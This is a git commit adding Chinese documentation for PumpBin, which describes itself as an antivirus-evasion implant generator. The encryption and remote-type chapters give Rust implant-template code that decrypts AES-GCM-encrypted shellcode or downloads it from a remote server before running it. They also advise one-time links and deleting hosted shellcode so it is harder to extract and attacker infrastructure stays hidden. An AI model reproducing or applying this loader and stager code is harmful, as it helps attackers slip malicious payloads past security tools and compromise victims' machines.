add docs

.github/workflows/mdbook.yml

@@ -0,0 +1,60 @@
+# Sample workflow for building and deploying a mdBook site to GitHub Pages
+#
+# To get started with mdBook see: https://rust-lang.github.io/mdBook/index.html
+#
+name: Deploy mdBook site to Pages
+
+on:
+  # Runs on pushes targeting the default branch
+  push:
+    branches: ["main"]
+
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
+permissions:
+  contents: read
+  pages: write
+  id-token: write
+
+# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
+# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
+concurrency:
+  group: "pages"
+  cancel-in-progress: false
+
+jobs:
+  # Build job
+  build:
+    runs-on: ubuntu-latest
+    env:
+      MDBOOK_VERSION: 0.4.36
+    steps:
+      - uses: actions/checkout@v4
+      - name: Install mdBook
+        run: |
+          curl --proto '=https' --tlsv1.2 https://sh.rustup.rs -sSf -y | sh
+          rustup update
+          cargo install --version ${MDBOOK_VERSION} mdbook
+      - name: Setup Pages
+        id: pages
+        uses: actions/configure-pages@v5
+      - name: Build with mdBook
+        run: mdbook build
+      - name: Upload artifact
+        uses: actions/upload-pages-artifact@v3
+        with:
+          path: ./book
+
+  # Deployment job
+  deploy:
+    environment:
+      name: github-pages
+      url: ${{ steps.deployment.outputs.page_url }}
+    runs-on: ubuntu-latest
+    needs: build
+    steps:
+      - name: Deploy to GitHub Pages
+        id: deployment
+        uses: actions/deploy-pages@v4

.gitignore

@@ -0,0 +1 @@
+book

book.toml

@@ -0,0 +1,13 @@
+[book]
+authors = ["b1n <[email protected]>"]
+language = "zh"
+multilingual = false
+src = "src"
+title = "Chinese PumpBin Documentation"
+
+[output.html]
+default-theme = "macchiato"
+preferred-dark-theme = "macchiato"
+git-repository-url = "https://github.com/pumpbin/book-zh"
+edit-url-template = "https://github.com/pumpbin/book-zh/edit/main/{path}"
+additional-css = ["theme/catppuccin.css"]

src/README.md

@@ -0,0 +1,28 @@
+# PumpBin
+
+<p align="center">
+  <img src="favicon.png" height="30%" width="30%">
+</p>
+
+**PumpBin**是一个免杀生成平台.
+
+要使用PumpBin, 你需要先获取一个b1n文件或者[创建一个](devs/start.md).
+b1n文件包含一个或多个二进制植入物模板, 附加一些描述信息. 我们通常称一个b1n文件为一个Plugin.
+
+- Powerful, simple, and comfortable UI
+- Following the minimal principle to ensure maximum flexibility in usage
+- Support two Plugin types: shellcode embedded in implants(Local) and hosted on remote servers(Remote)
+- Support plugin development using any compiled language, such as C/C++, Rust, Zig, Go, etc
+- Re-selecting the current plugin will generate a new random encryption password
+- Filling with random data to ensure each generated implant is unique
+- We have user manual, you no longer need to educate your users
+- No dependencies, just PumpBin
+- Support description, you can write down anything you want to remind users, which is important
+- No network connection, eliminating any security concerns
+- ... And I'm a pumpkin, I have magic🪄
+
+## Contributing
+
+这个网站是使用mdBook生成的, 并托管在GitHub Pages上. 你可以在[GitHub](https://github.com/pumpbin/book-zh)上找到源文件并进行贡献.
+
+如果你写了一篇关于 PumpBin 的文章, 请提交一个 issue, 我会考虑链接到你的文章 :0)

src/SUMMARY.md

@@ -0,0 +1,14 @@
+# Summary
+
+[PumpBin](README.md)
+
+# Plugin Development
+
+- [Quick Start](devs/start.md)
+- [Encryption](devs/encrypt.md)
+- [Remote Type](devs/remote.md)
+- [Advanced](devs/advanced.md)
+
+# User Manual
+
+- [Getting Started](users/start.md)

src/devs/advanced.md

@@ -0,0 +1 @@
+# Advanced

src/devs/encrypt.md

@@ -0,0 +1,87 @@
+# Encryption
+
+在这一章, 我们将制作一个使用AES256-GCM加密方法的Plugin.
+
+上一章我们使用PumpBin Maker制作Plugin时, Encrypt Type选择的是None.
+这个选项在现实世界中出现有两个可能:
+
+1. 你使用了PumpBin暂时不支持的加密方法(请提交一个issue)
+1. 你使用了自定义的加密方法(PumpBin将来会设计hook系统, 你将可以在加密时, 生成时, 或者patch时运行自定义代码, 以实现最大的灵活性)
+
+以上两种情况, 你可能想制作一个`Remote`类型的Plugin, 并且使用固定的加密密码, 仅仅使用PumpBin修改shellcode url.
+
+除此之外, 大部分黑客应该都想加密自己的shellcode, 没有人会愿意暴露基础设施.
+
+## 制作二进制植入物模板
+
+要制作有加密功能的Plugin, 我们的二进制植入物模板需要先实现对应的解密逻辑.
+
+我们将在[上一章代码](https://github.com/pumpbin/pumpbin/tree/main/examples/create_thread)的基础上更改.
+
+在Cargo.toml文件末尾添加下面的依赖
+
+```toml
+aes-gcm = "0.10.3"
+```
+
+在main.rs中的main函数上面添加如下解密函数
+
+```rust
+fn decrypt(data: &[u8]) -> Vec<u8> {
+    const KEY: &[u8; 32] = b"$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$";
+    const NONCE: &[u8; 12] = b"$$NNNNNNNN$$";
+
+    let aes = Aes256Gcm::new_from_slice(KEY).unwrap();
+    let nonce = Nonce::from_slice(NONCE);
+    aes.decrypt(nonce, data).unwrap()
+}
+```
+
+其中两个被$$包裹的数组引用, 上一章已经出现过, 是两个`Place Holder`, PumpBin使用它来定位占位数据.
+(`Place Holder`是固定大小, `Prefix`是动态大小, 所以上一章中需要Size Holder来确定shellcode真实长度)
+
+在main.rs中main函数内第4行后添加如下代码
+
+```rust
+let shellcode = decrypt(shellcode);
+```
+
+添加完成后的main函数如下
+
+```rust
+fn main() {
+    let shellcode = include_bytes!("../shellcode");
+    const SIZE_HOLDER: &str = "$$99999$$";
+    let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
+    let shellcode = &shellcode[0..shellcode_len];
+    let shellcode = decrypt(shellcode);
+    let shellcode_size = shellcode.len();
+    ...
+```
+
+编译修改后的`create_thread`项目, 我们将得到一个使用AES256-GCM解密shellcode的二进制植入物模板.
+
+```sh
+cargo b -r
+```
+
+## 制作Plugin
+
+我们使用PumpBin Maker制作Plugin, 其余操作都相同, 唯一不同的是Encrypt Type选择AesGcm.
+
+Key填写`$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$`
+
+Nonce填写`$$NNNNNNNN$$`
+
+## 测试Plugin
+
+用PumpBin安装制作的Plugin, 并使用`w64-exec-calc-shellcode-func`生成一个最终植入物, 运行应该看到calc程序被启动.
+
+至此, 我们制作了一个使用AES256-GCM加密方法的`Local`类型Plugin
+
+前两章中, 我总是将`Local`突出显示, 以提醒这是一个关键词, 正确理解它们对于使用PumpBin非常重要.
+
+下一章, 我们将制作第一个`Remote`类型的Plugin. 这允许将shellcode托管在远程服务器.
+PumpBin将根据加密设置, 生成加密的shellcode文件(None也是一种加密方式), 用户将加密的shellcode托管到远程服务器, 然后将托管地址告诉PumpBin.
+
+本例中的完整项目文件在PumpBin代码仓库的[examples/create_thread_encrypt](https://github.com/pumpbin/pumpbin/blob/main/examples/create_thread_encrypt/src/main.rs).

src/devs/remote.md

@@ -0,0 +1,103 @@
+# Remote Type
+
+在这一章, 我们将制作一个`Remote`类型的Plugin.
+
+`Remote`类型的Plugin, shellcode托管在远程服务器上, 可以通过控制shellcode的访问性, 使shellcode更难被提取, 从而保护基础设施.
+
+例如, 在植入物运行成功后, 将远程shellcode文件删除. (前提是你没有其他依赖这个shellcode文件的植入物需要运行)
+
+建议始终使用一次性链接(每个生成的最终植入物对应一个唯一托管地址)
+
+## 制作二进制植入物模板
+
+我们将在[上一章代码](https://github.com/pumpbin/pumpbin/tree/main/examples/create_thread_encrypt)的基础上进行修改
+
+首先, 我们需要一种方式从远程服务器获取加密的shellcode文件, 而不是将shellcode占位数据预先包含到二进制植入物模板中.
+
+删除build.rs (不再需要生成shellcode占位数据).
+
+在Cargo.toml末尾添加依赖项, 本例中使用http协议作为演示. (你可以使用任何协议, 任何方式实现下载函数, PumpBin并不关心, PumpBin非常灵活)
+
+```toml
+reqwest = { version = "0.12.5", features = ["blocking"] }
+```
+
+在main.rs的main函数上添加如下下载函数
+
+```rust
+fn download() -> Vec<u8> {
+    const URL: &[u8; 81] =
+        b"$$UURRLL$$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
+    let url = CStr::from_bytes_until_nul(URL).unwrap();
+    reqwest::blocking::get(url.to_str().unwrap())
+        .unwrap()
+        .bytes()
+        .unwrap()
+        .to_vec()
+}
+```
+
+$$UURRLL$$是一个`Prefix`, 这意味着URL常量会以有效数据+随机数据填充, 所以建议预留一部分字节让PumpBin填充随机字节.
+
+由于url或之类的托管地址大部分都是可打印字符, 所以此处的处理与第一章中$$SHELLCODE$$ `Prefix`略有不同.
+
+我们不再需要Size Holder来区分有效数据, 相反PumpBin会在有效数据后添加一个\\x00字节, 以定位有效数据.
+
+这在rust中很容易实现, 其他语言应该也有类似的实现. 如果没有, 只需要for循环逐字节判断.
+
+实现了下载函数后, 我们需要在main.rs中使用它替换shellcode占位数据
+
+删除main.rs中main函数的前四行代码, 并在第一行添加以下代码
+
+```rust
+let shellcode = download();
+let shellcode = shellcode.as_slice();
+```
+
+修改后的main函数如下
+
+```rust
+fn main() {
+    let shellcode = download();
+    let shellcode = shellcode.as_slice();
+    let shellcode = decrypt(shellcode);
+    let shellcode_size = shellcode.len();
+    ...
+```
+
+编译修改后的`create_thread`项目, 我们将得到一个使用http协议下载加密shellcode文件的二进制植入物模板.
+
+```sh
+cargo b -r
+```
+
+## 制作Plugin
+
+使用PumpBin Maker制作Plugin, 与前面章节类似.
+
+Prefix填写`$$UURRLL$$`
+
+MaxLen填写URL常量数组引用的长度 81.
+
+Type选择`Remote`
+
+其余与上一章相同
+
+## 测试Plugin
+
+用PumpBin安装制作的Plugin, 点击Encrypt按钮选择`w64-exec-calc-shellcode-func`生成加密的shellcode文件.
+
+使用Python3在加密后的shellcode文件同级目录下开启一个http服务
+
+```sh
+python -m http.server 8000
+```
+
+加密shellcode文件的本地http地址应该是`http://127.0.0.1:8000/shellcode.enc`
+
+填入PumpBin, 生成最终植入物, 运行应该看到访问请求, calc程序被启动.
+
+至此, 基础章节结束. 我一直有意在强调, PumpBin非常灵活! 通过基础章节的内容已经初见端倪.
+后续章节将介绍一些高级技巧, 这些技巧建立在PumpBin的高度灵活性上.
+
+本例中的完整项目文件在PumpBin代码仓库的[examples/create_thread_remote](https://github.com/pumpbin/pumpbin/blob/main/examples/create_thread_remote/src/main.rs).